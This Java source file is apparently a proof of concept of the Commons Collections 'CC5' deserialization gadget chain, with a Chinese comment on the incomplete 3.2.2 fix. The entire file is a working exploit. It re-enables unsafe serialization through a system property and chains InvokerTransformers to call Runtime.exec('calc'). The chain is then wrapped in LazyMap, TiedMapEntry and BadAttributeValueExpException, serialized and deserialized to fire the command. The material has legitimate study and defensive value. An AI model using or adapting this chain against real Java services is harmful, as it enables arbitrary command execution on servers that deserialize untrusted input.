package com.wushijia.classload;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

/**
 *
 * commons-collections3.2.2更新实际上并没有真实地修复该反序列化安全漏洞，仅是增加了安全检查：仅要求配置系统属性，
 * 属性名称为“org.apache.commons.collections.enableUnsafeSerialization”，属性值为“true”，否则会抛出UnsupportedOperationException异常。
 */
public class Cc5 {

  public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
    ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{
            String.class, Class[].class}, new Object[]{
            "getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{
            Object.class, Object[].class}, new Object[]{
            null, new Object[0]}),
        new InvokerTransformer("exec",
            new Class[]{String.class}, new Object[]{"calc"})});
    HashMap innermap = new HashMap();
    LazyMap map = (LazyMap) LazyMap.decorate(innermap, chain);
    TiedMapEntry tiedmap = new TiedMapEntry(map, 123);
    BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
    Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
    val.setAccessible(true);
    val.set(poc, tiedmap);

    try {
      ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
      outputStream.writeObject(poc);
      outputStream.close();

      ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
      inputStream.readObject();
    } catch (Exception e) {
      e.printStackTrace();
    }
  }
}
